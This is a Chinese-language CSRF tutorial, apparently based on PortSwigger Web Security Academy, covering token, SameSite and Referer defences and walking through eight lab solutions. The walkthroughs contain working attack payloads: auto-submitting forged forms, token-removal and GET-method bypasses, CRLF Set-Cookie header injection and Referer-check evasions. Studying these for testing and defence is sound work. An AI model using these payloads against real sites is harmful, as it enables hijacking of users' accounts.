目录导航
在本节中,我们将解释什么是跨站点请求伪造,描述一些常见的 CSRF 漏洞示例,并解释如何防止 CSRF 攻击。
什么是CSRF?
跨站点请求伪造(也称为 CSRF)Cross-site request forgery (CSRF) 是一种网络安全漏洞,允许攻击者诱使用户执行他们不打算执行的操作。它允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。

CSRF 攻击的影响是什么?
在成功的 CSRF 攻击中,攻击者会导致受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转帐。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。
CSRF 是如何工作的?
要使 CSRF 攻击成为可能,必须具备三个关键条件:
- 一个相关的动作。应用程序中存在攻击者有理由诱导的操作。这可能是特权操作(例如修改其他用户的权限)或针对用户特定数据的任何操作(例如更改用户自己的密码)。
- 基于 cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话 cookie 来识别发出请求的用户。没有其他机制来跟踪会话或验证用户请求。
- 没有不可预测的请求参数。执行操作的请求不包含任何参数-其值攻击者无法确定或猜测。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该函数不易受到攻击。
例如,假设一个应用程序包含一个允许用户更改其帐户电子邮件地址的功能。当用户执行此操作时,他们会发出如下 HTTP 请求:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
[email protected]
这样就满足了CSRF需要的条件:
- 更改用户帐户上的电子邮件地址的操作是攻击者感兴趣的。执行此操作后,攻击者通常能够触发密码重置并完全控制用户帐户。
- 应用程序使用会话 cookie 来识别哪个用户发出了请求。没有其他令牌或机制来跟踪用户会话。
- 攻击者可以轻松确定执行操作所需的请求参数的值。
有了这些条件,攻击者就可以构建一个包含以下 HTML 的网页:
<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="[email protected]" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
如果受害用户访问攻击者的网页,会发生以下情况:
- 攻击者的页面将触发对易受攻击网站的 HTTP 请求。
- 如果用户登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设未使用SameSite cookie)。
- 易受攻击的网站将以正常方式处理请求,将其视为受害用户发出的请求,并更改其电子邮件地址。
提示:
尽管 CSRF 通常被描述为与基于 cookie 的会话处理有关,但它也会出现在应用程序自动向请求中添加一些用户凭据的其他上下文中,例如 HTTP 基本身份验证和基于证书的身份验证。
如何构建 CSRF 攻击
手动创建 CSRF 漏洞利用所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数或请求中存在其他怪癖的情况下。构建 CSRF 漏洞的最简单方法是使用Burp Suite Professional中内置的CSRF PoC 生成器:
位置在这里:你要攻击的网址右键–Engagement tools(结合工具)–Generate CSRF PoC(生成CSRF PoC)

- 在您想要测试或利用的 Burp Suite Professional 中的任何位置选择一个请求。
- 从右键单击上下文菜单中,选择参与工具/生成 CSRF PoC。
- Burp Suite 将生成一些 HTML 来触发选定的请求(减去 cookie,它将由受害者的浏览器自动添加)。
- 您可以调整 CSRF PoC 生成器中的各种选项以微调攻击的各个方面。您可能需要在一些不寻常的情况下执行此操作以处理请求的古怪特征。
- 将生成的 HTML 复制到网页中,在登录有漏洞网站的浏览器中查看,测试是否成功发出了预期的请求,是否发生了预期的动作。
如何提供CSRF漏洞利用
跨站点请求伪造攻击的传递机制与反射型 XSS 基本相同。通常,攻击者会将恶意 HTML 放置到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供网站链接来完成。或者,如果将攻击置于一个流行的网站中(例如,在用户评论中),他们可能只是等待用户访问该网站。
请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以完全独立地使用易受攻击网站上的单个 URL。在这种情况下,攻击者可能不需要使用外部站点,可以直接向受害者提供易受攻击域上的恶意 URL。在下面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,那么自包含攻击poc将如下所示:
<img src="https://vulnerable-website.com/email/[email protected]">
XSS 与 CSRF的区别
在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论CSRF 令牌是否有助于防止 XSS 攻击。
XSS 和 CSRF 有什么区别?
跨站点脚本(或 XSS)允许攻击者在受害用户的浏览器中执行任意 JavaScript。
跨站点请求伪造(或 CSRF)允许攻击者诱使受害用户执行他们不打算执行的操作。
XSS 漏洞的后果通常比 CSRF 漏洞更严重:
- CSRF 通常只适用于用户能够执行的部分操作。许多应用程序通常实施 CSRF 防御,但忽略了一两个暴露的操作。相反,成功的 XSS 攻击通常可以诱使用户执行用户能够执行的任何操作,而不管漏洞产生的功能如何。
- CSRF 可以描述为“单向”漏洞,因为虽然攻击者可以诱使受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向的”,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据泄露到攻击者选择的外部域。
CSRF 令牌可以防止 XSS 攻击吗?
通过有效使用 CSRF 令牌,确实可以防止某些 XSS 攻击。考虑一个简单的反射型 XSS漏洞,它可以像这样被简单地利用:
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
现在,假设易受攻击的函数包含一个 CSRF 令牌:
https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>
假设服务器正确验证了 CSRF 令牌,并拒绝没有有效令牌的请求,那么该令牌确实可以防止利用 XSS 漏洞。这里的线索就在名称中:“跨站点脚本”,至少在其反映形式中,涉及跨站点请求。通过防止攻击者伪造跨站点请求,应用程序可以防止对 XSS 漏洞的简单利用。
这里出现了一些重要的警告:
- 如果反射型 XSS漏洞存在于站点上不受 CSRF 令牌保护的函数内的任何其他位置,则可以以正常方式利用该 XSS。
- 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受 CSRF 令牌保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的CSRF token,然后使用该token执行被保护的动作。
- CSRF 令牌不能防止存储型 XSS漏洞。如果受 CSRF 令牌保护的页面也是存储型 XSS漏洞的输出点,则可以通过通常的方式利用该 XSS 漏洞,并在用户访问该页面时执行 XSS payloads。
防止 CSRF 攻击
抵御 CSRF 攻击的最可靠方法是在相关请求中包含CSRF 令牌。
令牌应该满足如下条件:
- 对于一般的会话令牌,具有的高熵是不可预测的。
- 绑定用户的会话(session)。
- 在执行相关操作之前,在每种情况下都经过严格验证。
CSRF tokens
在本节中,我们将解释什么是 CSRF 令牌,它们如何防止CSRF 攻击,以及应如何生成和验证 CSRF 令牌。
什么是 CSRF tokens?
CSRF 令牌是一个唯一的、秘密的、不可预测的值,它由服务器端应用程序生成并以包含在客户端发出的后续 HTTP 请求中的方式传输到客户端。当发出稍后的请求时,服务器端应用程序验证请求是否包含预期的令牌,如果令牌丢失或无效,则拒绝请求。
CSRF 令牌可以防止 CSRF 攻击,方法是使攻击者无法构建适合提供给受害用户的完全有效的 HTTP 请求。由于攻击者无法确定或预测用户的 CSRF 令牌的值,因此他们无法使用应用程序接受请求所需的所有参数来构造请求。
应该如何生成 CSRF 令牌?
CSRF 令牌应该包含较高的熵并且具有很强的不可预测性,通常具有与会话令牌相同的属性。
您应该使用加密安全的伪随机数生成器 (CSPRNG),在创建时使用时间戳作为种子加上静态密码。
如果您需要超出 CSPRNG 强度的进一步保证,您可以通过将其输出与一些特定于用户的熵连接起来生成单独的标记,并对整个结构进行强哈希加密。这为试图根据发给他们的样本分析令牌的攻击者设置了额外的障碍。
CSRF token应该如何传输?
CSRF 令牌应被视为秘密,并在其整个生命周期中以安全的方式进行处理。通常有效的方法是在使用 POST 方法提交的 HTML 表单的隐藏字段中将令牌传输到客户端。提交表单时,令牌将作为请求参数包含在内:
<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />
为了额外的安全,包含 CSRF 令牌的字段应尽可能早地放置在 HTML 文档中,最好在任何非隐藏输入字段之前以及在 HTML 中嵌入用户可控数据的任何位置之前。这减轻了攻击者可以使用精心制作的数据来操纵 HTML 文档并捕获其部分内容的各种技术。
另一种方法是将令牌放入 URL 查询字符串中,这种方法不太安全,因为查询字符串:
- 在客户端和服务器端的不同位置登录;
- 有责任在 HTTP Referer 标头内传输给第三方
- 可以在用户浏览器的屏幕上显示。
一些应用程序在自定义请求标头中传输 CSRF 令牌。这进一步防御了设法预测或捕获其他用户令牌的攻击者,因为浏览器通常不允许跨域发送自定义标头。但是,该方法将应用程序限制为使用 XHR(而不是 HTML 表单)发出受 CSRF 保护的请求,并且在许多情况下可能被认为过于复杂。
CSRF 令牌不应在 cookie 中传输。
应该如何验证 CSRF 令牌?
当生成 CSRF 令牌时,它应该存储在服务器端用户的会话数据中。当收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值匹配的令牌。无论请求的 HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝它。
使用 SameSite cookie 防御 CSRF
另一种对 CSRF 部分有效并可与CSRF 令牌结合使用的额外防御措施是SameSite cookies。
一些网站使用 SameSite cookie 来 防御CSRF 攻击。
该SameSite
属性可用于控制在跨站点请求中是否以及如何提交 cookie。通过在会话 cookie 上设置属性,应用程序可以防止默认浏览器自动将 cookie 添加到请求的行为,而不管它们来自何处。
该属性在服务器发出 cookie 时SameSite
被添加到响应头中,该属性可以被赋予两个值,Strict
或者Lax
, 例如:
Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;
Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;
如果该SameSite
属性设置为Strict
,则浏览器将不会在来自其他站点的任何请求中包含 cookie。这是最具防御性的选项,但它会损害用户体验,因为如果登录用户通过第三方链接访问某个站点,那么他们将看起来没有登录,并且需要在登录前重新登录以正常方式与网站互动。
如果该SameSite
属性设置为Lax
,则浏览器将在来自另一个站点的请求中包含 cookie,但前提是满足两个条件:
- 该请求使用 GET 方法。使用其他方法(例如 POST)的请求将不包含 cookie。
- 请求是由用户的顶级导航产生的,例如单击链接。其他请求,例如由脚本发起的请求,将不包含 cookie。
在 Lax
mode 中使用SameSite
cookie确实可以防御部分CSRF 攻击,因为作为 CSRF 攻击目标的用户操作通常是使用 POST 方法实现的。这里有两个重要的警告:
- 某些应用程序确实使用 GET 请求实施敏感操作。
- 许多应用程序和框架都可以容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用 POST 方法,它实际上也会接受切换为使用 GET 方法的请求。
由于所述原因,不建议仅依赖 SameSite cookie 来防御 CSRF 攻击。但是,与CSRF 令牌一起使用时,SameSite cookie 可以提供额外的防御层,可以减轻基于令牌的防御中的任何缺陷。
常见的 CSRF 漏洞
大多数有趣的 CSRF 漏洞都是由于CSRF 令牌验证中的缺陷而产生的。
在下面的示例中,假设应用程序现在在更改用户电子邮件的请求中包含一个 CSRF 令牌:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&[email protected]
这应该可以防止 CSRF 攻击,因为它破坏了 CSRF 漏洞的必要条件:应用程序不再仅依赖 cookie 进行会话处理,并且请求包含攻击者无法确定其值的参数。然而,有多种方法可以攻破防御,这意味着应用程序仍然容易受到 CSRF 的攻击。
CSRF 令牌的验证取决于请求方法
某些应用程序在请求使用 POST 方法时正确验证令牌,但在使用 GET 方法时会跳过验证。
在这种情况下,攻击者可以切换到 GET 方法来绕过验证并进行 CSRF 攻击:
靶场一:没有防御措施的 CSRF 漏洞
注意事项:
burpsuite的实验室都是免费的,自己注册一个账号登录后访问如下靶场地址即可.

靶场地址:
https://portswigger.net/web-security/csrf/lab-no-defenses
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。
要解决该实验室问题,请制作一些 HTML,使用CSRF 攻击来更改查看者的电子邮件地址并将其上传到您的漏洞利用服务器。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
①使用wiener:peter
登录

②点击修改自己的邮箱账号,例如修改为[email protected]

③查看post数据包情况

分析:
1.)我本地修改自己账号的邮箱,数据包中只需要校验我们自己的cookie session值即可.
2.)如果我可以爆破cookie值或者知道别人的cookie,那么我是不是就可以修改别人的邮箱?
3.)但是cookie值这么长,数字字母大小写,根本是不可能爆破出来的,怎么办呢?
4.)cookie是存储在浏览器中的,只要我想攻击的人登陆了网站,浏览器便有了他的cookie.
5.)他的浏览器有cookie,而我没有,我需要做的就是用他自己的浏览器访问我的这个请求数据包,这样浏览器就携带了他的cookie,他访问了我设计好的网页,就自动修改了他的邮箱为我自己的.
6.)我把修改邮箱的请求设计好,然后搭建一个网站放上去,再把这个恶意网址发给要攻击的人,他只要一点开,就相当于点到了修改邮箱的按钮,我就达到目的了.
7.)他的邮箱改成了我的后,我就可以利用邮箱找回密码,把他的账号盗取了.
8.)真棒! 开干 !
④生成csrf poc

点击options,勾选Include auto-submit script,点击Regenerate生成poc代码.

生成好的csrf poc是这个样子的:

⑤复制poc到自己的恶意服务器上(网站)

实验室已经提供了服务器,现实中需要自己搭建一个类似的网站/服务器,用来将csrf poc代码写入后将网址发给受害者,诱导其访问.

粘贴进去poc代码,然后点击保存,再点击提供给受害者按钮,实验解决.

实验完成提示是这样的:

说明:
现实生活中需要你把包含有poc代码的网址发送给受害者,需要受害者处于登录状态(cookie有效),且点开了你发过去的这个网址才有可能成功.
实验的话默认受害者已经点击你发过去这个网址,
此处是[https://exploit-0a1a0008042d1ae8c016541001910084.exploit-server.net/exploit]
靶场二:取决于请求方法的 CSRF令牌验证
靶场地址:
portswigger.net/web-security/csrf/lab-token-validation-depends-on-request-method
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止 CSRF 攻击,但只对某些类型的请求应用防御。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
①登录,修改自己的邮箱为[email protected],查看请求数据包.[和靶场一类似的步骤]

分析:
1.)与靶场一不同的是这次更改邮箱的请求中多了一个csrf参数,即加了csrf token校验,还这么长,WTF ?! mmp!
2.)这个请求是POST的,把他改成GET试试能否绕过!
3.)这次修改自己的邮箱为[email protected]试试,验证一下自己的想法,改成GET请求能否绕过csrf token.
②使用快捷键win+r将请求发送到Repeater
③修改请求方式,右键点击Change request method

修改后是这个样子的:

④修改邮箱为[email protected]

⑤点击Send发送请求

⑥可以看到服务器返回了302而不是”非法token”之类的错误,说明大概率是修改成功了,如果你使用的是burpsuite自带的浏览器,可以右键浏览器查看返回包情况.

⑦成功修改为[email protected],说明猜想正确,可以使用GET发送请求.

⑧接下来再试试,把csrf token参数全部删除能否成功发送请求.
我们将邮箱改成[email protected]试试,

测试成功,说明把POST请求修改为GET请求可以在不带token的情况下修改邮箱,证明可以绕过此csrf token验证.
既然不需要token也能成事,说明可以利用这个csrf漏洞修改受害者邮箱,接下来只需要和靶场一的[④⑤]一样操作即可完成实验,唯一不同的点就是修改了请求方式为GET,删除了csrf token.
初学者可以参考下面的gif进行实验

当然,也可以使用其他方法,修改请求方法后,不删除csrf token,而是将其改成其他随便什么值.

靶场三:CSRF 令牌的验证取决于令牌是否存在
某些应用程序会在令牌存在时正确验证令牌,但如果令牌被省略则跳过验证。
在这种情况下,攻击者可以删除包含令牌的整个参数(而不仅仅是其值)以绕过验证并发起 CSRF 攻击:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm
[email protected]
靶场地址:
portswigger.net/web-security/csrf/lab-token-validation-depends-on-token-being-present
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
参考靶场一,靶场二,只需要将csrf token删除即可,其他步骤不变

靶场四:CSRF 令牌未绑定到用户会话
某些应用程序不会验证令牌是否与发出请求的用户属于同一会话。相反,应用程序维护它已发布的全局令牌池,并接受出现在该池中的任何令牌。
在这种情况下,攻击者可以使用自己的帐户登录应用程序,获取有效令牌,然后将该令牌提供给受害者用户进行 CSRF 攻击。
靶场地址:
portswigger.net/web-security/csrf/lab-token-not-tied-to-user-session
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并未集成到站点的会话处理系统中。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计您的攻击。凭据如下:
- 账号A:
wiener:peter
- 账号B:
carlos:montoya
解决方案:
csrf漏洞一般需要两个账号进行测试验证.
①分别登录账号A,B,修改邮箱看一下发送的请求参数.
提示:
使用浏览器的无痕模式登录账号B,这样可以互相对比.

让我们先看看账户A修改邮箱的请求包长什么样,是否有可利用的点.(此处我将账号A的邮箱修改为[email protected])

[1]有csrf token和cookie session.乍一看不可以利用,因为session和csrf都无法预测.
[2]测试过后发现删除csrf是不行的.
[3]修改请求方法也是不行的.
[4]修改请求方法+删除token一起也是不行.



看样子是没戏了?
让我们多修改几次对比一下,看看token的值是不是不变的.
第一次修改邮箱,token如下所示:

第二次修改邮箱,token如下所示:

token变了,但是cookie没变.

以上测试说明:
①token是一次性的.
②cookie没变.
③[只要一直修改自己的邮箱,自己的账号可以生成无限个token]
④如果生成的token和cookie未绑定,那么就可以使用我生成的token去修改别人的邮箱.
如果cookie和token绑定的话肯定是没戏了,接下来测试cookie是否和token绑定.
使用账号A的token去修改账号B的邮箱:
拦截下来的(未使用)账号A的cookie和token如下所示:
Cookie: session=rQehfFIR43iY4R3yk34lmzGFF7oExEJK
csrf=glGqyzRZh3fYcmvHjr4fHIiTVAgnEOhq

接下来将数据包drop掉即可.
拦截下来的(未使用)账号B的cookie和token如下所示:
Cookie: session=R8mRHKzOfPHPqPeSq81zPD4nbBU4Luvw
csrf=jSkuL6Ou3zglCFx2e3Jaeca9v22NQkgF
正常情况下是A的token+A的cookie
接下来我使用A的token+B的cookie来修改B 的邮箱为[email protected]

修改成功,说明cookie和token是没有绑定在一起的.

至此,可以一直用自己的账号生成token发送给受害者进行csrf攻击.
②通过修改邮箱按钮请求一个自己没使用过的token,或者直接发送到爆破模块批量生成一堆的新鲜token.
③使用自己生成的token进行csrf攻击,其他步骤与靶场一,二类似.只是需要将token改成自己未使用过的即可.

漏洞成因:
cookie session和token未绑定. 可以使用自己的token修改别人的邮箱账号.
靶场五:CSRF 令牌绑定到非会话 cookie
在上述漏洞的变体中,某些应用程序确实将 CSRF 令牌绑定到一个 cookie,但不绑定到用于跟踪会话的同一个 cookie。当应用程序使用两种不同的框架时,很容易发生这种情况,一种用于会话处理,另一种用于 CSRF 保护,它们没有集成在一起:
例如:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]
靶场地址:
portswigger.net/web-security/csrf/lab-token-tied-to-non-session-cookie
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它使用令牌来尝试防止 CSRF 攻击,但它们并未完全集成到站点的会话处理系统中。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您在应用程序上有两个帐户,可用于帮助设计您的攻击。凭据如下:
- 账户A:
wiener:peter
- 账户B:
carlos:montoya
解决方案:
①分别登录账号A和B进行邮箱修改,然后对比查看进行数据包分析.
登录账号A,邮箱改为[email protected],数据包请求如下:

WTF! 三个不可控参数,还怎么玩!
分别是:csrf,csrfKey,session
csrfKey=4k1gDvtoYwhiJRQeE2uaAp1DasJgE6HN
session=2FligFWtXNVZAPeNO7YQFHHWtfxQr18G
csrf=2ez2dr2OTlWnkCz962ljFPl5t1VVGXGK
新手还在看,老手已经骂骂咧咧去看下一个目标了.
然而,该走的流程还是要走的,毕竟心有不甘.
猜想:
要想有CSRF漏洞,那么必须得参数可控,如果csrf, csrfKey, session 三者互相绑定在一起,那么就没戏.
如果csrf和csrfkey是互相绑定的,但是session没有和他们绑定,那就相当于靶场4,一样可以绕过.
②测试csrfKey和csrf是否绑定.
思路:使用B账号的csrfkey和A账号的csrf值进行测试,如果成功修改了邮箱,说明csrfkey和csrf未绑定,反之则绑定了.
账号A修改邮箱数据包

账号B修改邮箱数据包

测试账号B时发现csrfKey和csrf可以多次使用

现在将账号B中的csrfkey替换为A的

现在将账号B中的csrf替换为A的

现在将账号B中的csrf和csrfkey全部替换为A的

说明session没有和csrf,csrfkey绑定,可以利用该缺陷进行csrf攻击,因为已经满足条件,csrf和csrfkey自己便可以生成.
③将自己的csrf和csrfkey注入到对方的浏览器中.
通过在首页搜索发现,搜索东西时会带有csrfkey

我们可以使用如下payload将其替换为自己的csrfkey
/?search=test%0d%0aSet-Cookie:%20csrfKey=xxx

④接下来构造出如下所示的poc

说明:
下面这一行的作用是设置图片链接到搜索页面替换成我们的csrfkey,一旦对方打开网址,就会自动加载”这个图片”,简而言之相当于去访问了这个精心设计好的网址,而因为这并非一个图片,必然会报错,后面onerror就是报错后的动作,即提交表单.
最终达到的效果就是:大冤种什么都没干,只是点开了一个链接,账号就被盗了.
<img src="https://xxx.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrfKey=GwWIachNBZVlLaGvsiEv4Fs9rPXe6IBN%3b%20SameSite=None" onerror="document.forms[0].submit()">
最终效果如下图,实验完成.

提示:
cookie 设置行为甚至不需要存在于与 CSRF 漏洞相同的 Web 应用程序中。如果受控的 cookie 具有合适的范围,则可以利用同一整体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie。例如,可以利用staging.demo.normal-website.com
上的 cookie 设置功能来放置提交给 secure.normal-website.com
的 cookie。
靶场六:CSRF 令牌只是从cookie 中复制一次
在上述漏洞的进一步变体中,某些应用程序不保留任何已发出令牌的服务器端记录,而是在 cookie 和请求参数中复制每个令牌。验证后续请求时,应用程序只需验证请求参数中提交的令牌是否与 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,并且被提倡,因为它易于实现并且避免了对任何服务器端状态的需要:
例如:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa
csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]
在这种情况下,如果该网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效令牌。他们只是简单地发明了一个令牌(可能是要求的格式,如果被检查的话),利用 cookie 设置行为将他们的 cookie 放入受害者的浏览器,并在他们的 CSRF 攻击中将他们的令牌提供给受害者。
靶场地址:
portswigger.net/web-security/csrf/lab-token-duplicated-in-cookie
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它尝试使用不安全的“双重提交”CSRF 预防技术。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
①登录,修改邮件,查看数据包请求情况

发现csrf有两个,且都是相同的.
猜想:
csrf仅仅只需要上下相同,设置为任何值都可以绕过token校验.
②我们把csrf设置为www.ddosi.org,结果发现可以成功绕过token校验修改邮箱

③使用任意相同的csrf token进行构造poc
因为有两个token,所以我们需要Set-Cookie进行标头注入.
payload如下:
/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None
靶场五已经进行过说明,使用如上所示的搜索可以替换掉浏览器的cookie中的csrf值.
最终构造出来的payload如下所示:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://0a340005045762e8c0bd219400a600f5.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="B@1.com" />
<input type="hidden" name="csrf" value="www.ddosi.org" />
<input type="submit" value="Submit request" />
</form>
<img src="https://0a340005045762e8c0bd219400a600f5.web-security-academy.net/?search=ddosi.org%0d%0aSet-Cookie:%20csrf=www.ddosi.org%3b%20SameSite=None" onerror="document.forms[0].submit();">
</body>
</html>
注意事项:
下图中的两个地方csrf必须一致.

④复制粘贴到漏洞利用服务器,保存并”提供给”受害者即可完成实验.默认受害者访问了.

靶场七:基于Referer的CSRF防御
除了使用 CSRF 令牌的防御之外,一些应用程序还使用 HTTPReferer
标头来尝试防御 CSRF 攻击,通常是通过验证请求是否来自应用程序自己的域。这种方法通常效率较低,并且经常被绕过。
注释:
HTTP Referer 标头(在 HTTP 规范中无意中拼写错误)是一个可选的请求标头,其中包含链接到所请求资源的网页的 URL。它通常在用户触发 HTTP 请求(包括通过单击链接或提交表单)时由浏览器自动添加。存在多种允许链接页面保留或修改Referer
标头值的方法。这通常是出于隐私原因而进行的。
Referer 的验证取决于标头是否存在
某些应用程序Referer
会在请求中出现标头时验证标头,但如果省略标头则跳过验证。
在这种情况下,攻击者可以通过导致受害用户的浏览器在生成Referer的请求中删除标头的方式来设计他们的 CSRF 漏洞。有多种方法可以实现这一点,但最简单的方法是在承载 CSRF 攻击的 HTML 页面中使用 META 标记:
例如:
<meta name="referrer" content="never">
靶场地址:
portswigger.net/web-security/csrf/lab-referer-validation-depends-on-header-being-present
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它试图阻止跨域请求,但有一个不安全的回退。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
①登录,修改邮件,查看数据包请求情况再决定下一步动作.

粗心的人一眼看去,哎,卧槽,token,key,啥也没有,这不一把梭,实际上如果不把Referer删除,除非你的漏洞服务器网址和官网一样才行.
[失败的案例]接下来是未删除Referer前的演示动画:

[成功的案例]接下来是删除Referer后的演示动画:
我们需要浏览器自动删除,所以payload如下所示:(在head中加入无referer的选项)
<meta name="referrer" content="no-referrer">

靶场八:可以绕过Referer的验证
一些应用程序Referer
以一种可以绕过的天真方式验证标头。例如,如果应用程序验证域以Referer
预期值开头,则攻击者可以将其作为自己域的子域:
http://vulnerable-website.com.attacker-website.com/csrf-attack
同样,如果应用程序只是验证Referer
包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置:
http://attacker-website.com/csrf-attack?vulnerable-website.com
提示:
尽管您可以使用 Burp 识别此行为,但当您在浏览器中测试您的概念验证时,您通常会发现此方法不再有效。为了降低敏感数据以这种方式泄露的风险,许多浏览器现在Referer
默认从标头中删除查询字符串。
您可以通过确保包含您的漏洞利用的响应Referrer-Policy: unsafe-url
设置了标头来覆盖此行为(注意Referrer
在这种情况下拼写正确,只是为了确保您重视!)。这确保将发送完整的 URL,包括查询字符串。
靶场地址:
portswigger.net/web-security/csrf/lab-referer-validation-broken
靶场说明:
本实验室的电子邮件更改功能容易受到 CSRF 的攻击。它会尝试检测并阻止跨域请求,但可以绕过检测机制。
要解决该实验室问题,请使用您的漏洞利用服务器托管一个 HTML 页面,该页面使用CSRF 攻击来更改查看者的电子邮件地址。
您可以使用以下凭据登录到您自己的帐户:wiener:peter
解决方案:
①登录,修改邮件,查看数据包请求情况再决定下一步动作..
当我们像靶场七一样删除Referer时,报错.

说明Referer是要进行验证的,既然不能删除,可以试试修改域名前缀,让需要校验的网址仍然存在.

测试通过,说明可以构造如下所示payload进行攻击
最终的payload如下:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/?0aa3003c0394d92cc0e53ded00900039.web-security-academy.net')</script>
<form action="https://0aa3003c0394d92cc0e53ded00900039.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="admin@2.com" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

注意事项,标头中还应加入如下所示字符,
Referrer-Policy: unsafe-url
原因:
如果存储漏洞并通过单击“查看漏洞”进行测试,您可能会再次遇到“无效的 Referer 标头”错误。这是因为许多浏览器现在默认从 Referer 标头中删除查询字符串作为安全措施。要覆盖此行为并确保完整的 URL 包含在请求中,请返回漏洞利用服务器并将以下标头添加到“Head”部分,[请注意,与普通的 Referer 标头不同,在这种情况下,“referrer”一词必须拼写正确。]

转载请注明出处及链接